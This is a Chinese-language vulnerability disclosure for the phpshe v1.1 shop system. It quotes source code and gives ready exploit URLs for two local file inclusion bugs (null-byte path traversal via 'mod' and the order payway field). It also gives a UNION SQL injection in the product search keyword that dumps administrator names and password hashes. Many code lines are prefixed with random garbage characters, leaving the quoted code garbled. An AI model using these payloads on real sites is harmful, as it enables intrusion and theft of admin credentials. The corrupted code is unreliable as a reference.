phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
; @) h+ e1 m7 Z, ~/* Phpshe v1.1 Vulnerability
2 D" i! [- t: D/* ========================
5 P6 H; E& _% c! ~. G" V9 I/* By: : Kn1f3
6 h% w' t7 q, b3 Q) D- Z/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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//common.php
if (get_magic_quotes_gpc()) {
# F4 W- d- p8 w8 m$ h$ b3 \!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
- g6 F. E1 M/ y2 [6 W4 d!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
- ?( ~9 {- S7 F! V3 g}
' C( `- q: [1 n- [8 f" Q$ h" pelse {
$ y/ p$ ^( X! q9 @5 Y% w, Y1 B7 |!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
4 `2 q7 e* L) D2 c/ g' K!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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//首页文件
. L: K* h) b* d* d<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
) j* C1 F* \  O' Q" r% V' s) yinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
# ?# N  a: x: f6 z  R//common 文件 第15行开始
url路由配置
/ M% s; t2 r, p5 o, m$module = $mod = $act = 'index';
/ Z( p5 L1 Q5 B3 B$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
% W  ~) }1 `  _' I' N# K//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
3 j* D3 t- j# t, a) `+ Y$category_id = intval($id);
1 |4 {; l& @4 c  c$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
) M' l5 Z3 H2 c8 [2 i3 O9 |6 I8 p}
1 e* s; r1 S# Q( F7 I- k. X) V; D$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
/ P- ~8 G, J$ |, m' s2 yif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
  S- `1 ?% B+ @9 s9 p* F, U$product_hotlist = product_hotlist();
! r3 ^; c/ r% ?. o* ~( I+ `& r" R5 O//当前路径
$nowpath = category_path($category_id);
. V5 ^  d/ o5 j8 \, ]5 _$seo = pe_seo($info['category_name']);
1 H" ^2 g1 B6 q, I5 g6 u0 linclude(pe_tpl('product_list.html'));
( A$ P1 V' I: F% e/ s! I//跟进selectall函数库
, ?0 s, B  Q. F4 l: f" b  d% Ipublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
7 c/ J1 N" ]3 F" `/ U; u2 r$sqlwhere = $this->_dowhere($where);
! o% T, T3 `2 Q: K( Freturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>

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% p) Y  S% g' ]<code id="code3">

//order.php

case 'pay':

, R+ O1 W; L' W  t# z1 H( |! t9 K$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

7 a" ^- A1 U! s3 e4 t8 D! `& j5 O+ yforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

% ^6 ~( w) S8 G5 \5 s/ u}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

+ d8 h6 S  G+ A0 U' }, K!$order['order_id'] && pe_error('订单号错误...');

* n) q0 g  {* Nif (isset($_p_pesubmit)) {

+ ~, E* i) m  O) y/ Z! T, Oif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

5 j3 ?8 \. p6 fforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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. L! q- l" A* B7 h! ]}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

" j0 M4 @9 ]" Xelse {

1 {( n0 |! }  ?- \- Rpe_error('支付错误...');

+ _2 @+ d% p& Y. L}

}

3 c( A1 U1 }8 z: W$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

3 J7 h7 K+ q9 C% H! \& H8 Wbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>